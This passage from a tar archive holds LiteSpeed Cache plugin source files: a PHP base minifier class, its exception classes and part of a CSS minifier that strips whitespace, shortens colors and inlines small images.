����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/minify.cls.php����������������������������������������0000644�����������������00000035626�15233526476�0020251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * modified PHP implementation of Matthias Mullie's Abstract minifier class. * * @author Matthias Mullie <minify@mullie.eu> * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved * @license MIT License */ namespace LiteSpeed\Lib\CSS_JS_MIN\Minify; use LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception\IOException; defined( 'WPINC' ) || exit; abstract class Minify { /** * The data to be minified. * * @var string[] */ protected $data = array(); /** * Array of patterns to match. * * @var string[] */ protected $patterns = array(); /** * This array will hold content of strings and regular expressions that have * been extracted from the JS source code, so we can reliably match "code", * without having to worry about potential "code-like" characters inside. * * @internal * * @var string[] */ public $extracted = array(); /** * Init the minify class - optionally, code may be passed along already. */ public function __construct( /* $data = null, ... */ ) { // it's possible to add the source through the constructor as well ;) if ( func_num_args() ) { call_user_func_array( array( $this, 'add' ), func_get_args() ); } } /** * Add a file or straight-up code to be minified. * * @param string|string[] $data * * @return static */ public function add( $data /* $data = null, ... */ ) { // bogus "usage" of parameter $data: scrutinizer warns this variable is // not used (we're using func_get_args instead to support overloading), // but it still needs to be defined because it makes no sense to have // this function without argument :) $args = array( $data ) + func_get_args(); // this method can be overloaded foreach ( $args as $data ) { if ( is_array( $data ) ) { call_user_func_array( array( $this, 'add' ), $data ); continue; } // redefine var $data = (string) $data; // load data $value = $this->load( $data ); $key = ( $data != $value ) ? $data : count( $this->data ); // replace CR linefeeds etc. // @see https://github.com/matthiasmullie/minify/pull/139 $value = str_replace( array( "\r\n", "\r" ), "\n", $value ); // store data $this->data[ $key ] = $value; } return $this; } /** * Add a file to be minified. * * @param string|string[] $data * * @return static * * @throws IOException */ public function addFile( $data /* $data = null, ... */ ) { // bogus "usage" of parameter $data: scrutinizer warns this variable is // not used (we're using func_get_args instead to support overloading), // but it still needs to be defined because it makes no sense to have // this function without argument :) $args = array( $data ) + func_get_args(); // this method can be overloaded foreach ( $args as $path ) { if ( is_array( $path ) ) { call_user_func_array( array( $this, 'addFile' ), $path ); continue; } // redefine var $path = (string) $path; // check if we can read the file if ( ! $this->canImportFile( $path ) ) { throw new IOException( 'The file "' . $path . '" could not be opened for reading. Check if PHP has enough permissions.' ); } $this->add( $path ); } return $this; } /** * Minify the data & (optionally) saves it to a file. * * @param string[optional] $path Path to write the data to * * @return string The minified data */ public function minify( $path = null ) { $content = $this->execute( $path ); // save to path if ( $path !== null ) { $this->save( $content, $path ); } return $content; } /** * Minify & gzip the data & (optionally) saves it to a file. * * @param string[optional] $path Path to write the data to * @param int[optional] $level Compression level, from 0 to 9 * * @return string The minified & gzipped data */ public function gzip( $path = null, $level = 9 ) { $content = $this->execute( $path ); $content = gzencode( $content, $level, FORCE_GZIP ); // save to path if ( $path !== null ) { $this->save( $content, $path ); } return $content; } /** * Minify the data. * * @param string[optional] $path Path to write the data to * * @return string The minified data */ abstract public function execute( $path = null ); /** * Load data. * * @param string $data Either a path to a file or the content itself * * @return string */ protected function load( $data ) { // check if the data is a file if ( $this->canImportFile( $data ) ) { $data = file_get_contents( $data ); // strip BOM, if any if ( substr( $data, 0, 3 ) == "\xef\xbb\xbf" ) { $data = substr( $data, 3 ); } } return $data; } /** * Save to file. * * @param string $content The minified data * @param string $path The path to save the minified data to * * @throws IOException */ protected function save( $content, $path ) { $handler = $this->openFileForWriting( $path ); $this->writeToFile( $handler, $content ); @fclose( $handler ); } /** * Register a pattern to execute against the source content. * * If $replacement is a string, it must be plain text. Placeholders like $1 or \2 don't work. * If you need that functionality, use a callback instead. * * @param string $pattern PCRE pattern * @param string|callable $replacement Replacement value for matched pattern */ protected function registerPattern( $pattern, $replacement = '' ) { // study the pattern, we'll execute it more than once $pattern .= 'S'; $this->patterns[] = array( $pattern, $replacement ); } /** * Both JS and CSS use the same form of multi-line comment, so putting the common code here. */ protected function stripMultilineComments() { // First extract comments we want to keep, so they can be restored later // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $callback = function ( $match ) use ( $minifier ) { $count = count( $minifier->extracted ); $placeholder = '/*' . $count . '*/'; $minifier->extracted[ $placeholder ] = $match[0]; return $placeholder; }; $this->registerPattern( '/ # optional newline \n? # start comment \/\* # comment content (?: # either starts with an ! ! | # or, after some number of characters which do not end the comment (?:(?!\*\/).)*? # there is either a @license or @preserve tag @(?:license|preserve) ) # then match to the end of the comment .*?\*\/\n? /ixs', $callback ); // Then strip all other comments $this->registerPattern( '/\/\*.*?\*\//s', '' ); } /** * We can't "just" run some regular expressions against JavaScript: it's a * complex language. E.g. having an occurrence of // xyz would be a comment, * unless it's used within a string. Of you could have something that looks * like a 'string', but inside a comment. * The only way to accurately replace these pieces is to traverse the JS one * character at a time and try to find whatever starts first. * * @param string $content The content to replace patterns in * * @return string The (manipulated) content */ protected function replace( $content ) { $contentLength = strlen( $content ); $output = ''; $processedOffset = 0; $positions = array_fill( 0, count( $this->patterns ), -1 ); $matches = array(); while ( $processedOffset < $contentLength ) { // find first match for all patterns foreach ( $this->patterns as $i => $pattern ) { list($pattern, $replacement) = $pattern; // we can safely ignore patterns for positions we've unset earlier, // because we know these won't show up anymore if ( array_key_exists( $i, $positions ) == false ) { continue; } // no need to re-run matches that are still in the part of the // content that hasn't been processed if ( $positions[ $i ] >= $processedOffset ) { continue; } $match = null; if ( preg_match( $pattern, $content, $match, PREG_OFFSET_CAPTURE, $processedOffset ) ) { $matches[ $i ] = $match; // we'll store the match position as well; that way, we // don't have to redo all preg_matches after changing only // the first (we'll still know where those others are) $positions[ $i ] = $match[0][1]; } else { // if the pattern couldn't be matched, there's no point in // executing it again in later runs on this same content; // ignore this one until we reach end of content unset( $matches[ $i ], $positions[ $i ] ); } } // no more matches to find: everything's been processed, break out if ( ! $matches ) { // output the remaining content $output .= substr( $content, $processedOffset ); break; } // see which of the patterns actually found the first thing (we'll // only want to execute that one, since we're unsure if what the // other found was not inside what the first found) $matchOffset = min( $positions ); $firstPattern = array_search( $matchOffset, $positions ); $match = $matches[ $firstPattern ]; // execute the pattern that matches earliest in the content string list(, $replacement) = $this->patterns[ $firstPattern ]; // add the part of the input between $processedOffset and the first match; // that content wasn't matched by anything $output .= substr( $content, $processedOffset, $matchOffset - $processedOffset ); // add the replacement for the match $output .= $this->executeReplacement( $replacement, $match ); // advance $processedOffset past the match $processedOffset = $matchOffset + strlen( $match[0][0] ); } return $output; } /** * If $replacement is a callback, execute it, passing in the match data. * If it's a string, just pass it through. * * @param string|callable $replacement Replacement value * @param array $match Match data, in PREG_OFFSET_CAPTURE form * * @return string */ protected function executeReplacement( $replacement, $match ) { if ( ! is_callable( $replacement ) ) { return $replacement; } // convert $match from the PREG_OFFSET_CAPTURE form to the form the callback expects foreach ( $match as &$matchItem ) { $matchItem = $matchItem[0]; } return $replacement( $match ); } /** * Strings are a pattern we need to match, in order to ignore potential * code-like content inside them, but we just want all of the string * content to remain untouched. * * This method will replace all string content with simple STRING# * placeholder text, so we've rid all strings from characters that may be * misinterpreted. Original string content will be saved in $this->extracted * and after doing all other minifying, we can restore the original content * via restoreStrings(). * * @param string[optional] $chars * @param string[optional] $placeholderPrefix */ protected function extractStrings( $chars = '\'"', $placeholderPrefix = '' ) { // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $callback = function ( $match ) use ( $minifier, $placeholderPrefix ) { // check the second index here, because the first always contains a quote if ( $match[2] === '' ) { /* * Empty strings need no placeholder; they can't be confused for * anything else anyway. * But we still needed to match them, for the extraction routine * to skip over this particular string. */ return $match[0]; } $count = count( $minifier->extracted ); $placeholder = $match[1] . $placeholderPrefix . $count . $match[1]; $minifier->extracted[ $placeholder ] = $match[1] . $match[2] . $match[1]; return $placeholder; }; /* * The \\ messiness explained: * * Don't count ' or " as end-of-string if it's escaped (has backslash * in front of it) * * Unless... that backslash itself is escaped (another leading slash), * in which case it's no longer escaping the ' or " * * So there can be either no backslash, or an even number * * multiply all of that times 4, to account for the escaping that has * to be done to pass the backslash into the PHP string without it being * considered as escape-char (times 2) and to get it in the regex, * escaped (times 2) */ $this->registerPattern( '/([' . $chars . '])(.*?(?<!\\\\)(\\\\\\\\)*+)\\1/s', $callback ); } /** * This method will restore all extracted data (strings, regexes) that were * replaced with placeholder text in extract*(). The original content was * saved in $this->extracted. * * @param string $content * * @return string */ protected function restoreExtractedData( $content ) { if ( ! $this->extracted ) { // nothing was extracted, nothing to restore return $content; } $content = strtr( $content, $this->extracted ); $this->extracted = array(); return $content; } /** * Check if the path is a regular file and can be read. * * @param string $path * * @return bool */ protected function canImportFile( $path ) { $parsed = parse_url( $path ); if ( // file is elsewhere isset( $parsed['host'] ) // file responds to queries (may change, or need to bypass cache) || isset( $parsed['query'] ) ) { return false; } try { return strlen( $path ) < PHP_MAXPATHLEN && @is_file( $path ) && is_readable( $path ); } // catch openbasedir exceptions which are not caught by @ on is_file() catch ( \Exception $e ) { return false; } } /** * Attempts to open file specified by $path for writing. * * @param string $path The path to the file * * @return resource Specifier for the target file * * @throws IOException */ protected function openFileForWriting( $path ) { if ( $path === '' || ( $handler = @fopen( $path, 'w' ) ) === false ) { throw new IOException( 'The file "' . $path . '" could not be opened for writing. Check if PHP has enough permissions.' ); } return $handler; } /** * Attempts to write $content to the file specified by $handler. $path is used for printing exceptions. * * @param resource $handler The resource to write to * @param string $content The content to write * @param string $path The path to the file (for exception printing only) * * @throws IOException */ protected function writeToFile( $handler, $content, $path = '' ) { if ( ! is_resource( $handler ) || ( $result = @fwrite( $handler, $content ) ) === false || ( $result < strlen( $content ) ) ) { throw new IOException( 'The file "' . $path . '" could not be written to. Check your disk space and file permissions.' ); } } protected static function str_replace_first( $search, $replace, $subject ) { $pos = strpos( $subject, $search ); if ( $pos !== false ) { return substr_replace( $subject, $replace, $pos, strlen( $search ) ); } return $subject; } } ����������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/exception.cls.php�������������������������������������0000644�����������������00000000720�15233526476�0020737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * exception.cls.php - modified PHP implementation of Matthias Mullie's Exceptions Classes. * * @author Matthias Mullie <minify@mullie.eu> */ namespace LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception; defined( 'WPINC' ) || exit; abstract class Exception extends \Exception { } abstract class BasicException extends Exception { } class FileImportException extends BasicException { } class IOException extends BasicException { } ������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/css.cls.php�������������������������������������������0000644�����������������00000065145�15233526476�0017545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * css.cls.php - modified PHP implementation of Matthias Mullie's CSS minifier * * @author Matthias Mullie <minify@mullie.eu> * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved * @license MIT License */ namespace LiteSpeed\Lib\CSS_JS_MIN\Minify; use LiteSpeed\Lib\CSS_JS_MIN\Minify\Minify; use LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception\FileImportException; use LiteSpeed\Lib\CSS_JS_MIN\PathConverter\Converter; use LiteSpeed\Lib\CSS_JS_MIN\PathConverter\ConverterInterface; defined( 'WPINC' ) || exit; class CSS extends Minify { /** * @var int maximum import size in kB */ protected $maxImportSize = 5; /** * @var string[] valid import extensions */ protected $importExtensions = array( 'gif' => 'data:image/gif', 'png' => 'data:image/png', 'jpe' => 'data:image/jpeg', 'jpg' => 'data:image/jpeg', 'jpeg' => 'data:image/jpeg', 'svg' => 'data:image/svg+xml', 'woff' => 'data:application/x-font-woff', 'woff2' => 'data:application/x-font-woff2', 'avif' => 'data:image/avif', 'apng' => 'data:image/apng', 'webp' => 'data:image/webp', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'xbm' => 'image/x-xbitmap', ); /** * Set the maximum size if files to be imported. * * Files larger than this size (in kB) will not be imported into the CSS. * Importing files into the CSS as data-uri will save you some connections, * but we should only import relatively small decorative images so that our * CSS file doesn't get too bulky. * * @param int $size Size in kB */ public function setMaxImportSize( $size ) { $this->maxImportSize = $size; } /** * Set the type of extensions to be imported into the CSS (to save network * connections). * Keys of the array should be the file extensions & respective values * should be the data type. * * @param string[] $extensions Array of file extensions */ public function setImportExtensions( array $extensions ) { $this->importExtensions = $extensions; } /** * Move any import statements to the top. * * @param string $content Nearly finished CSS content * * @return string */ public function moveImportsToTop( $content ) { if ( preg_match_all( '/(;?)(@import (?<url>url\()?(?P<quotes>["\']?).+?(?P=quotes)(?(url)\)));?/', $content, $matches ) ) { // remove from content foreach ( $matches[0] as $import ) { $content = str_replace( $import, '', $content ); } // add to top $content = implode( ';', $matches[2] ) . ';' . trim( $content, ';' ); } return $content; } /** * Combine CSS from import statements. * * \@import's will be loaded and their content merged into the original file, * to save HTTP requests. * * @param string $source The file to combine imports for * @param string $content The CSS content to combine imports for * @param string[] $parents Parent paths, for circular reference checks * * @return string * * @throws FileImportException */ protected function combineImports( $source, $content, $parents ) { $importRegexes = array( // @import url(xxx) '/ # import statement @import # whitespace \s+ # open url() url\( # (optional) open path enclosure (?P<quotes>["\']?) # fetch path (?P<path>.+?) # (optional) close path enclosure (?P=quotes) # close url() \) # (optional) trailing whitespace \s* # (optional) media statement(s) (?P<media>[^;]*) # (optional) trailing whitespace \s* # (optional) closing semi-colon ;? /ix', // @import 'xxx' '/ # import statement @import # whitespace \s+ # open path enclosure (?P<quotes>["\']) # fetch path (?P<path>.+?) # close path enclosure (?P=quotes) # (optional) trailing whitespace \s* # (optional) media statement(s) (?P<media>[^;]*) # (optional) trailing whitespace \s* # (optional) closing semi-colon ;? /ix', ); // find all relative imports in css $matches = array(); foreach ( $importRegexes as $importRegex ) { if ( preg_match_all( $importRegex, $content, $regexMatches, PREG_SET_ORDER ) ) { $matches = array_merge( $matches, $regexMatches ); } } $search = array(); $replace = array(); // loop the matches foreach ( $matches as $match ) { // get the path for the file that will be imported $importPath = dirname( $source ) . '/' . $match['path']; // only replace the import with the content if we can grab the // content of the file if ( ! $this->canImportByPath( $match['path'] ) || ! $this->canImportFile( $importPath ) ) { continue; } // check if current file was not imported previously in the same // import chain. if ( in_array( $importPath, $parents ) ) { throw new FileImportException( 'Failed to import file "' . $importPath . '": circular reference detected.' ); } // grab referenced file & minify it (which may include importing // yet other @import statements recursively) $minifier = new self( $importPath ); $minifier->setMaxImportSize( $this->maxImportSize ); $minifier->setImportExtensions( $this->importExtensions ); $importContent = $minifier->execute( $source, $parents ); // check if this is only valid for certain media if ( ! empty( $match['media'] ) ) { $importContent = '@media ' . $match['media'] . '{' . $importContent . '}'; } // add to replacement array $search[] = $match[0]; $replace[] = $importContent; } // replace the import statements return str_replace( $search, $replace, $content ); } /** * Import files into the CSS, base64 encoded. * * Included images @url(image.jpg) will be loaded and their content merged into the * original file, to save HTTP requests. * * @param string $source The file to import files for * @param string $content The CSS content to import files for * * @return string */ protected function importFiles( $source, $content ) { $regex = '/url\((["\']?)(.+?)\\1\)/i'; if ( $this->importExtensions && preg_match_all( $regex, $content, $matches, PREG_SET_ORDER ) ) { $search = array(); $replace = array(); // loop the matches foreach ( $matches as $match ) { $extension = substr( strrchr( $match[2], '.' ), 1 ); if ( $extension && ! array_key_exists( $extension, $this->importExtensions ) ) { continue; } // get the path for the file that will be imported $path = $match[2]; $path = dirname( $source ) . '/' . $path; // only replace the import with the content if we're able to get // the content of the file, and it's relatively small if ( $this->canImportFile( $path ) && $this->canImportBySize( $path ) ) { // grab content && base64-ize $importContent = $this->load( $path ); $importContent = base64_encode( $importContent ); // build replacement $search[] = $match[0]; $replace[] = 'url(' . $this->importExtensions[ $extension ] . ';base64,' . $importContent . ')'; } } // replace the import statements $content = str_replace( $search, $replace, $content ); } return $content; } /** * Minify the data. * Perform CSS optimizations. * * @param string[optional] $path Path to write the data to * @param string[] $parents Parent paths, for circular reference checks * * @return string The minified data */ public function execute( $path = null, $parents = array() ) { $content = ''; // loop CSS data (raw data and files) foreach ( $this->data as $source => $css ) { /* * Let's first take out strings & comments, since we can't just * remove whitespace anywhere. If whitespace occurs inside a string, * we should leave it alone. E.g.: * p { content: "a test" } */ $this->extractStrings(); $this->stripComments(); $this->extractMath(); $this->extractCustomProperties(); $css = $this->replace( $css ); $css = $this->stripWhitespace( $css ); $css = $this->convertLegacyColors( $css ); $css = $this->cleanupModernColors( $css ); $css = $this->shortenHEXColors( $css ); $css = $this->shortenZeroes( $css ); $css = $this->shortenFontWeights( $css ); $css = $this->stripEmptyTags( $css ); // restore the string we've extracted earlier $css = $this->restoreExtractedData( $css ); $source = is_int( $source ) ? '' : $source; $parents = $source ? array_merge( $parents, array( $source ) ) : $parents; $css = $this->combineImports( $source, $css, $parents ); $css = $this->importFiles( $source, $css ); /* * If we'll save to a new path, we'll have to fix the relative paths * to be relative no longer to the source file, but to the new path. * If we don't write to a file, fall back to same path so no * conversion happens (because we still want it to go through most * of the move code, which also addresses url() & @import syntax...) */ $converter = $this->getPathConverter( $source, $path ?: $source ); $css = $this->move( $converter, $css ); // combine css $content .= $css; } $content = $this->moveImportsToTop( $content ); return $content; } /** * Moving a css file should update all relative urls. * Relative references (e.g. ../images/image.gif) in a certain css file, * will have to be updated when a file is being saved at another location * (e.g. ../../images/image.gif, if the new CSS file is 1 folder deeper). * * @param ConverterInterface $converter Relative path converter * @param string $content The CSS content to update relative urls for * * @return string */ protected function move( ConverterInterface $converter, $content ) { /* * Relative path references will usually be enclosed by url(). @import * is an exception, where url() is not necessary around the path (but is * allowed). * This *could* be 1 regular expression, where both regular expressions * in this array are on different sides of a |. But we're using named * patterns in both regexes, the same name on both regexes. This is only * possible with a (?J) modifier, but that only works after a fairly * recent PCRE version. That's why I'm doing 2 separate regular * expressions & combining the matches after executing of both. */ $relativeRegexes = array( // url(xxx) '/ # open url() url\( \s* # open path enclosure (?P<quotes>["\'])? # fetch path (?P<path>.+?) # close path enclosure (?(quotes)(?P=quotes)) \s* # close url() \) /ix', // @import "xxx" '/ # import statement @import # whitespace \s+ # we don\'t have to check for @import url(), because the # condition above will already catch these # open path enclosure (?P<quotes>["\']) # fetch path (?P<path>.+?) # close path enclosure (?P=quotes) /ix', ); // find all relative urls in css $matches = array(); foreach ( $relativeRegexes as $relativeRegex ) { if ( preg_match_all( $relativeRegex, $content, $regexMatches, PREG_SET_ORDER ) ) { $matches = array_merge( $matches, $regexMatches ); } } $search = array(); $replace = array(); // loop all urls foreach ( $matches as $match ) { // determine if it's a url() or an @import match $type = ( strpos( $match[0], '@import' ) === 0 ? 'import' : 'url' ); $url = $match['path']; if ( $this->canImportByPath( $url ) ) { // attempting to interpret GET-params makes no sense, so let's discard them for awhile $params = strrchr( $url, '?' ); $url = $params ? substr( $url, 0, -strlen( $params ) ) : $url; // fix relative url $url = $converter->convert( $url ); // now that the path has been converted, re-apply GET-params $url .= $params; } /* * Urls with control characters above 0x7e should be quoted. * According to Mozilla's parser, whitespace is only allowed at the * end of unquoted urls. * Urls with `)` (as could happen with data: uris) should also be * quoted to avoid being confused for the url() closing parentheses. * And urls with a # have also been reported to cause issues. * Urls with quotes inside should also remain escaped. * * @see https://developer.mozilla.org/nl/docs/Web/CSS/url#The_url()_functional_notation * @see https://hg.mozilla.org/mozilla-central/rev/14abca4e7378 * @see https://github.com/matthiasmullie/minify/issues/193 */ $url = trim( $url ); if ( preg_match( '/[\s\)\'"#\x{7f}-\x{9f}]/u', $url ) ) { $url = $match['quotes'] . $url . $match['quotes']; } // build replacement $search[] = $match[0]; if ( $type === 'url' ) { $replace[] = 'url(' . $url . ')'; } elseif ( $type === 'import' ) { $replace[] = '@import "' . $url . '"'; } } // replace urls return str_replace( $search, $replace, $content ); } /** * Shorthand HEX color codes. * #FF0000FF -> #f00 -> red * #FF00FF00 -> transparent. * * @param string $content The CSS content to shorten the HEX color codes for * * @return string */ protected function shortenHexColors( $content ) { // shorten repeating patterns within HEX .. $content = preg_replace( '/(?<=[: ])#([0-9a-f])\\1([0-9a-f])\\2([0-9a-f])\\3(?:([0-9a-f])\\4)?(?=[; }])/i', '#$1$2$3$4', $content ); // remove alpha channel if it's pointless .. $content = preg_replace( '/(?<=[: ])#([0-9a-f]{6})ff(?=[; }])/i', '#$1', $content ); $content = preg_replace( '/(?<=[: ])#([0-9a-f]{3})f(?=[; }])/i', '#$1', $content ); // replace `transparent` with shortcut .. $content = preg_replace( '/(?<=[: ])#[0-9a-f]{6}00(?=[; }])/i', '#fff0', $content ); $colors = array( // make these more readable '#00f' => 'blue', '#dc143c' => 'crimson', '#0ff' => 'cyan', '#8b0000' => 'darkred', '#696969' => 'dimgray', '#ff69b4' => 'hotpink', '#0f0' => 'lime', '#fdf5e6' => 'oldlace', '#87ceeb' => 'skyblue', '#d8bfd8' => 'thistle', // we can shorten some even more by replacing them with their color name '#f0ffff' => 'azure', '#f5f5dc' => 'beige', '#ffe4c4' => 'bisque', '#a52a2a' => 'brown', '#ff7f50' => 'coral', '#ffd700' => 'gold', '#808080' => 'gray', '#008000' => 'green', '#4b0082' => 'indigo', '#fffff0' => 'ivory', '#f0e68c' => 'khaki', '#faf0e6' => 'linen', '#800000' => 'maroon', '#000080' => 'navy', '#808000' => 'olive', '#ffa500' => 'orange', '#da70d6' => 'orchid', '#cd853f' => 'peru', '#ffc0cb' => 'pink', '#dda0dd' => 'plum', '#800080' => 'purple', '#f00' => 'red', '#fa8072' => 'salmon', '#a0522d' => 'sienna', '#c0c0c0' => 'silver', '#fffafa' => 'snow', '#d2b48c' => 'tan', '#008080' => 'teal', '#ff6347' => 'tomato', '#ee82ee' => 'violet', '#f5deb3' => 'wheat', // or the other way around 'black' => '#000', 'fuchsia' => '#f0f', 'magenta' => '#f0f', 'white' => '#fff', 'yellow' => '#ff0', // and also `transparent` 'transparent' => '#fff0', ); return preg_replace_callback( '/(?<=[: ])(' . implode( '|', array_keys( $colors ) ) . ')(?=[; }])/i', function ( $match ) use ( $colors ) { return $colors[ strtolower( $match[0] ) ]; }, $content ); } /** * Convert RGB|HSL color codes. * rgb(255,0,0,.5) -> rgb(255 0 0 / .5). * rgb(255,0,0) -> #f00. * * @param string $content The CSS content to shorten the RGB color codes for * * @return string */ protected function convertLegacyColors( $content ) { /* https://drafts.csswg.org/css-color/#color-syntax-legacy https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/rgb https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hsl */ // convert legacy color syntax $content = preg_replace( '/(rgb)a?\(\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0,1]?(?:\.[0-9]*)?)\s*\)/i', '$1($2 $3 $4 / $5)', $content ); $content = preg_replace( '/(rgb)a?\(\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*\)/i', '$1($2 $3 $4)', $content ); $content = preg_replace( '/(hsl)a?\(\s*([0-9]+(?:deg|grad|rad|turn)?)\s*,\s*([0-9]{1,3}%)\s*,\s*([0-9]{1,3}%)\s*,\s*([0,1]?(?:\.[0-9]*)?)\s*\)/i', '$1($2 $3 $4 / $5)', $content ); $content = preg_replace( '/(hsl)a?\(\s*([0-9]+(?:deg|grad|rad|turn)?)\s*,\s*([0-9]{1,3}%)\s*,\s*([0-9]{1,3}%)\s*\)/i', '$1($2 $3 $4)', $content ); // convert `rgb` to `hex` $dec = '([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])'; return preg_replace_callback( "/rgb\($dec $dec $dec\)/i", function ( $match ) { return sprintf( '#%02x%02x%02x', $match[1], $match[2], $match[3] ); }, $content ); } /** * Cleanup RGB|HSL|HWB|LCH|LAB * rgb(255 0 0 / 1) -> rgb(255 0 0). * rgb(255 0 0 / 0) -> transparent. * * @param string $content The CSS content to cleanup HSL|HWB|LCH|LAB * * @return string */ protected function cleanupModernColors( $content ) { /* https://drafts.csswg.org/css-color/#color-syntax-modern https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hwb https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/lch https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/lab https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklch https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklab */ $tag = '(rgb|hsl|hwb|(?:(?:ok)?(?:lch|lab)))'; // remove alpha channel if it's pointless .. $content = preg_replace( '/' . $tag . '\(\s*([^\s]+)\s+([^\s]+)\s+([^\s]+)\s+\/\s+1(?:(?:\.\d?)*|00%)?\s*\)/i', '$1($2 $3 $4)', $content ); // replace `transparent` with shortcut .. $content = preg_replace( '/' . $tag . '\(\s*[^\s]+\s+[^\s]+\s+[^\s]+\s+\/\s+0(?:[\.0%]*)?\s*\)/i', '#fff0', $content ); return $content; } /** * Shorten CSS font weights. * * @param string $content The CSS content to shorten the font weights for * * @return string */ protected function shortenFontWeights( $content ) { $weights = array( 'normal' => 400, 'bold' => 700, ); $callback = function ( $match ) use ( $weights ) { return $match[1] . $weights[ $match[2] ]; }; return preg_replace_callback( '/(font-weight\s*:\s*)(' . implode( '|', array_keys( $weights ) ) . ')(?=[;}])/', $callback, $content ); } /** * Shorthand 0 values to plain 0, instead of e.g. -0em. * * @param string $content The CSS content to shorten the zero values for * * @return string */ protected function shortenZeroes( $content ) { // we don't want to strip units in `calc()` expressions: // `5px - 0px` is valid, but `5px - 0` is not // `10px * 0` is valid (equates to 0), and so is `10 * 0px`, but // `10 * 0` is invalid // we've extracted calcs earlier, so we don't need to worry about this // reusable bits of code throughout these regexes: // before & after are used to make sure we don't match lose unintended // 0-like values (e.g. in #000, or in http://url/1.0) // units can be stripped from 0 values, or used to recognize non 0 // values (where wa may be able to strip a .0 suffix) $before = '(?<=[:(, ])'; $after = '(?=[ ,);}])'; $units = '(em|ex|%|px|cm|mm|in|pt|pc|ch|rem|vh|vw|vmin|vmax|vm)'; // strip units after zeroes (0px -> 0) // NOTE: it should be safe to remove all units for a 0 value, but in // practice, Webkit (especially Safari) seems to stumble over at least // 0%, potentially other units as well. Only stripping 'px' for now. // @see https://github.com/matthiasmullie/minify/issues/60 $content = preg_replace( '/' . $before . '(-?0*(\.0+)?)(?<=0)px' . $after . '/', '\\1', $content ); // strip 0-digits (.0 -> 0) $content = preg_replace( '/' . $before . '\.0+' . $units . '?' . $after . '/', '0\\1', $content ); // strip trailing 0: 50.10 -> 50.1, 50.10px -> 50.1px $content = preg_replace( '/' . $before . '(-?[0-9]+\.[0-9]+)0+' . $units . '?' . $after . '/', '\\1\\2', $content ); // strip trailing 0: 50.00 -> 50, 50.00px -> 50px $content = preg_replace( '/' . $before . '(-?[0-9]+)\.0+' . $units . '?' . $after . '/', '\\1\\2', $content ); // strip leading 0: 0.1 -> .1, 01.1 -> 1.1 $content = preg_replace( '/' . $before . '(-?)0+([0-9]*\.[0-9]+)' . $units . '?' . $after . '/', '\\1\\2\\3', $content ); // strip negative zeroes (-0 -> 0) & truncate zeroes (00 -> 0) $content = preg_replace( '/' . $before . '-?0+' . $units . '?' . $after . '/', '0\\1', $content ); // IE doesn't seem to understand a unitless flex-basis value (correct - // it goes against the spec), so let's add it in again (make it `%`, // which is only 1 char: 0%, 0px, 0 anything, it's all just the same) // @see https://developer.mozilla.org/nl/docs/Web/CSS/flex $content = preg_replace( '/flex:([0-9]+\s[0-9]+\s)0([;\}])/', 'flex:${1}0%${2}', $content ); $content = preg_replace( '/flex-basis:0([;\}])/', 'flex-basis:0%${1}', $content ); return $content; } /** * Strip empty tags from source code. * * @param string $content * * @return string */ protected function stripEmptyTags( $content ) { $content = preg_replace( '/(?<=^)[^\{\};]+\{\s*\}/', '', $content ); $content = preg_replace( '/(?<=(\}|;))[^\{\};]+\{\s*\}/', '', $content ); return $content; } /** * Strip comments from source code. */ protected function stripComments() { $this->stripMultilineComments(); } /** * Strip whitespace. * * @param string $content The CSS content to strip the whitespace for * * @return string */ protected function stripWhitespace( $content ) { // remove leading & trailing whitespace $content = preg_replace( '/^\s*/m', '', $content ); $content = preg_replace( '/\s*$/m', '', $content ); // replace newlines with a single space $content = preg_replace( '/\s+/', ' ', $content ); // remove whitespace around meta characters // inspired by stackoverflow.com/questions/15195750/minify-compress-css-with-regex $content = preg_replace( '/\s*([\*$~^|]?+=|[{};,>~]|!important\b)\s*/', '$1', $content ); $content = preg_replace( '/([\[(:>\+])\s+/', '$1', $content ); $content = preg_replace( '/\s+([\]\)>\+])/', '$1', $content ); $content = preg_replace( '/\s+(:)(?![^\}]*\{)/', '$1', $content ); // whitespace around + and - can only be stripped inside some pseudo- // classes, like `:nth-child(3+2n)` // not in things like `calc(3px + 2px)`, shorthands like `3px -2px`, or // selectors like `div.weird- p` $pseudos = array( 'nth-child', 'nth-last-child', 'nth-last-of-type', 'nth-of-type' ); $content = preg_replace( '/:(' . implode( '|', $pseudos ) . ')\(\s*([+-]?)\s*(.+?)\s*([+-]?)\s*(.*?)\s*\)/', ':$1($2$3$4$5)', $content ); // remove semicolon/whitespace followed by closing bracket $content = str_replace( ';}', '}', $content ); return trim( $content ); } /** * Replace all occurrences of functions that may contain math, where * whitespace around operators needs to be preserved (e.g. calc, clamp). */ protected function extractMath() { $functions = array( 'calc', 'clamp', 'min', 'max' ); $pattern = '/\b(' . implode( '|', $functions ) . 